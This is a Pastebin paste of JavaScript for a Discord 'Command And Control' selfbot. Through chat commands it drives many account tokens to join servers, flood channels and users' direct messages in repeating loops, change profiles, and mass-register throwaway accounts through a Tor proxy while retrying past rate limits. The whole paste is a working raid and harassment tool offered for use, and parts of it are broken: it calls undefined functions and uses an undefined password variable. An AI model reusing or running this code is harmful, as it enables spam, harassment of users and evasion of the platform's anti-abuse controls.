Advertisement
Guest User

Untitled

a guest
May 16th, 2017
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.79 KB | None | 0 0
  1. const Discord = require("discord.js");
  2. var client = new Discord.Client();
  3. var Request = require('request');
  4. var Agent = require('socks5-http-client/lib/Agent');
  5. var fs = require('fs');
  6. var tokens = [""];
  7. var clients = [];
  8.  
  9. var config = {
  10. token: "",
  11. username: "",
  12. discriminator: "",
  13. message: "",
  14. live: 0
  15. };
  16.  
  17. var pos = {
  18. pepe: 1
  19. };
  20.  
  21. client.on('ready',()=>{ console.log(''); });
  22. client.on('message', m => {
  23.  
  24. if (m.author.username == config.username && m.author.discriminator === config.discriminator) {
  25. var cmd = m.content.split(" ");
  26.  
  27. if (cmd[0] == "/options") {
  28.  
  29. console.log(m.content);
  30. m.edit(m.content+'```\nCommand And Control\n\n/online\n\n/join {invite code}\n/leave {guild id}\n\n/spam {channel id}\n/spamdm {user id}\n/stop\n\n/setmsg {message}\n\n/register {username} {password}```');
  31. return;
  32.  
  33. } else if (cmd[0] == "/online") {
  34.  
  35. console.log(m.content);
  36. clients = online(tokens);
  37. var i = 0;
  38. m.edit(m.content+'```\nBots are connecting, please wait.```');
  39. clients.forEach(function(bot) {
  40. bot.client.login(bot.token);
  41. bot.client.on('ready',()=>{
  42. console.log('Bot '+i+' is online.');
  43. i++;
  44. });
  45. });
  46. console.log('All bots are online.');
  47. return;
  48.  
  49. } else if (cmd[0] == "/join") {
  50.  
  51. console.log(m.content);
  52. m.edit(m.content+'```\nBots now joining: '+cmd[1]+'```');
  53. var invite = cmd[1];
  54. tokens.forEach(function(token) {
  55. join(invite, token);
  56. });
  57. return;
  58.  
  59. } else if (cmd[0] == "/leave") {
  60.  
  61. console.log(m.content);
  62. m.edit(m.content+'```\nBots now leaving: '+cmd[1]+'```');
  63. var guild = cmd[1];
  64. tokens.forEach(function(token) {
  65. leave(token,guild);
  66. });
  67. return;
  68.  
  69. } else if (cmd[0] == "/spam") {
  70.  
  71. console.log(m.content);
  72. if (config.message == "") {
  73. m.edit(m.content+'```\nPlease define your message using: /setmsg {message}```');
  74. return;
  75. } else {
  76. m.edit(m.content+'```\nPew Pew: '+cmd[1]+'```');
  77. var channel = cmd[1];
  78. config.live = 1;
  79. tokens.forEach(function(token) {
  80. spam(channel, config.message, token);
  81. });
  82. (function loop() {
  83. setTimeout(function () {
  84. tokens.forEach(function(token) {
  85. spam(channel, config.message, token);
  86. });
  87. if (config.live == 1) {
  88. loop()
  89. } else {
  90. return;
  91. }
  92. }, 8000);
  93. }());
  94. return;
  95. }
  96.  
  97. } else if (cmd[0] == "/spamdm") {
  98.  
  99. console.log(m.content);
  100. if (config.message == "") {
  101. m.edit(m.content+'```\nPlease define your message using: /setmsg {message}```');
  102. return;
  103. } else {
  104. m.edit(m.content+'```\nPew Pew: '+cmd[1]+'```');
  105. var channel = cmd[1];
  106. config.live = 1;
  107. tokens.forEach(function(token) {
  108. spamdm(channel, config.message, token);
  109. });
  110. (function loop() {
  111. setTimeout(function () {
  112. tokens.forEach(function(token) {
  113. spamdm(channel, config.message, token);
  114. });
  115. if (config.live == 1) {
  116. loop()
  117. } else {
  118. return;
  119. }
  120. }, 8000);
  121. }());
  122. return;
  123. }
  124.  
  125. } else if (cmd[0] == "/stop") {
  126.  
  127. console.log(m.content);
  128. config.live = 0;
  129. m.edit(m.content+'```\nAttack Stopped!```');
  130.  
  131. } else if (cmd[0] == "/setmsg") {
  132.  
  133. console.log(m.content);
  134. config.message = (m.content);
  135. config.message = config.message.replace('/setmsg ', '');
  136. m.edit(m.content+'```\nMessage has been set to: '+config.message+'```');
  137. return;
  138.  
  139. } else if (cmd[0] == "/username") {
  140. console.log(m.content);
  141. if (cmd[1] == "{random}") {
  142. tokens.forEach(function(token) {
  143.  
  144. });
  145. } else {
  146. tokens.forEach(function(token) {
  147. username(cmd[1], pass, token);
  148. });
  149. }
  150. } else if (cmd[0] == "/avatar") {
  151. console.log(m.content);
  152. var avatars = fs.readFileSync('avatars.txt').toString().split("\n");
  153. if (cmd[1] == "{random}") {
  154. tokens.forEach(function(token) {
  155. var rnd = Math.floor(Math.random() * avatars.length) + 1;
  156. avatar(avatars[rnd],token);
  157. });
  158. } else {
  159.  
  160. tokens.forEach(function(token) {
  161. avatar(avatars.pepe,token);
  162. });
  163. }
  164.  
  165. } else if (cmd[0] == "/register") {
  166. var rnd = Math.floor(Math.random() * 9999999) + 1;
  167. register(cmd[1], cmd[2], rnd);
  168. }
  169. }
  170. });
  171.  
  172. function online(tokens)
  173. {
  174. var clients = [];
  175. tokens.forEach(function(token) {
  176. clients.push(newclient(token));
  177. });
  178. return clients;
  179. }
  180.  
  181. function newclient(token)
  182. {
  183. return {token: token, client: new Discord.Client()};
  184. }
  185.  
  186. function join(invite,token)
  187. {
  188. var Headers = {
  189. authorization: token,
  190. 'X-Context-Properties': 'eyJMb2NhdGlvbiI6Ik1hcmtkb3duIExpbmsifQ=='
  191. };
  192.  
  193. Request({
  194. method: 'POST',
  195. headers: Headers,
  196. uri: "https://discordapp.com/api/v6/invite/"+invite
  197. }, (Error, Response, Body) => {
  198. try {
  199. var delay = Body.retry_after;
  200. if(Body.message === 'You are being rate limited.') {
  201. var t = setTimeout(()=>{join(invite, token);},1+delay);
  202. }
  203. } catch (err) {
  204. var delay = 5
  205. var t = setTimeout(()=>{join(invite, token);},delay);
  206. }
  207.  
  208. });
  209. }
  210.  
  211. function leave(token,guild)
  212. {
  213. var Headers = { authorization: token };
  214.  
  215. Request({
  216. method: 'DELETE',
  217. headers: Headers,
  218. uri: "https://discordapp.com/api/v6/users/@me/guilds/"+guild
  219. }, (Error, Response, Body) => {
  220. try {
  221. var delay = Body.retry_after;
  222. if(Body.message === 'You are being rate limited.') {
  223. var t = setTimeout(()=>{leave(token,guild);},1+delay);
  224. }
  225. } catch (err) {
  226. var delay = 5
  227. var t = setTimeout(()=>{leave(token,guild);},1+delay);
  228. }
  229.  
  230. });
  231. }
  232.  
  233. function spam(channel,message,token)
  234. {
  235. const Data = {
  236. content: message,
  237. token: token
  238. }
  239.  
  240. const Headers = {
  241. authorization: Data.token,
  242. 'content-type': 'application/json'
  243. }
  244.  
  245. Request({
  246. method: 'POST',
  247. headers: Headers,
  248. json: Data,
  249. uri: "https://discordapp.com/api/v6/channels/"+channel+"/messages"
  250. }, (Error, Response, Body) => {
  251. try {
  252. var delay = Body.retry_after;
  253. if(Body.message === 'You are being rate limited.') {
  254. var t = setTimeout(()=>{spam(channel,message,token);},1+delay);
  255. }
  256. } catch (err) {
  257. var delay = 5
  258. var t = setTimeout(()=>{spam(channel,message,token);},1+delay);
  259. }
  260.  
  261. });
  262.  
  263. }
  264.  
  265. function spamdm(userid,message,token)
  266. {
  267. const Data = {
  268. recipient_id: userid,
  269. token: token
  270. }
  271.  
  272. const Headers = {
  273. authorization: Data.token,
  274. 'content-type': 'application/json'
  275. }
  276.  
  277. Request({
  278. method: 'POST',
  279. headers: Headers,
  280. json: Data,
  281. uri: "https://discordapp.com/api/v6/users/@me/channels"
  282. }, (Error, Response, Body) => {
  283. try {
  284. var delay = Body.retry_after;
  285. if(Body.message === 'You are being rate limited.') {
  286. var t = setTimeout(()=>{createdm(userid,message,token);},1+delay);
  287. } else {
  288. var chanid = Body.id;
  289. spam(chanid,message,token);
  290. }
  291. } catch (err) {
  292. var delay = 5
  293. var t = setTimeout(()=>{createdm(userid,message,token);},1+delay);
  294. }
  295.  
  296. });
  297.  
  298. }
  299.  
  300. function username(user,pass,token)
  301. {
  302. const Data = {
  303. username: user,
  304. password: pass,
  305. token: token
  306. }
  307.  
  308. const Headers = {
  309. authorization: Data.token,
  310. 'content-type': 'application/json'
  311. }
  312.  
  313. Request({
  314. method: 'PATCH',
  315. headers: Headers,
  316. json: Data,
  317. uri: "https://discordapp.com/api/v6/users/@me"
  318. }, (Error, Response, Body) => {
  319. try {
  320. var delay = Body.retry_after;
  321. if(Body.message === 'You are being rate limited.') {
  322. var t = setTimeout(()=>{spam(channel,message,token);},1+delay);
  323. }
  324. } catch (err) {
  325. var delay = 5
  326. var t = setTimeout(()=>{spam(channel,message,token);},1+delay);
  327. }
  328.  
  329. });
  330.  
  331. }
  332.  
  333. function avatar(avatar,token)
  334. {
  335. const Data = {
  336. avatar: avatar,
  337. token: token
  338. }
  339.  
  340. const Headers = {
  341. authorization: Data.token,
  342. 'content-type': 'application/json'
  343. }
  344.  
  345. Request({
  346. method: 'PATCH',
  347. headers: Headers,
  348. json: Data,
  349. uri: "https://discordapp.com/api/v6/users/@me"
  350. }, (Error, Response, Body) => {
  351. try {
  352. var delay = Body.retry_after;
  353. if(Body.message === 'You are being rate limited.') {
  354. var t = setTimeout(()=>{spam(channel,message,token);},1+delay);
  355. }
  356. } catch (err) {
  357. var delay = 5
  358. var t = setTimeout(()=>{spam(channel,message,token);},1+delay);
  359. }
  360.  
  361. });
  362.  
  363. }
  364.  
  365. function register(user, pass, rnd)
  366. {
  367. const Data = {
  368. content: '{"email":"'+user+rnd+'@mailsac.com","password":"'+pass+'","username":"'+user+'"}'
  369. }
  370.  
  371. var Headers = {
  372. 'X-Track':'eyIkYnJvd3NlciI6IkRpc2NvcmQgQW5kcm9pZCIsIiRkZXZpY2UiOiIiLCIkb3MiOiJBbmRyb2lkIn0=',
  373. 'Content-Type':'application/json'
  374. };
  375.  
  376. Request({
  377. method: 'GET',
  378. headers: Headers,
  379. json: Data,
  380. uri: "http://discordapp.com/api/v6/auth/register",
  381. agentClass: Agent,
  382. agentOptions: {
  383. socksHost: 'localhost',
  384. socksPort: 9050
  385. }
  386. }, (Error, Response, Body) => {
  387. console.log(Response.body);
  388. });
  389. }
  390.  
  391. function verify()
  392. {
  393.  
  394.  
  395.  
  396.  
  397. }
  398.  
  399. client.login(config.token);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement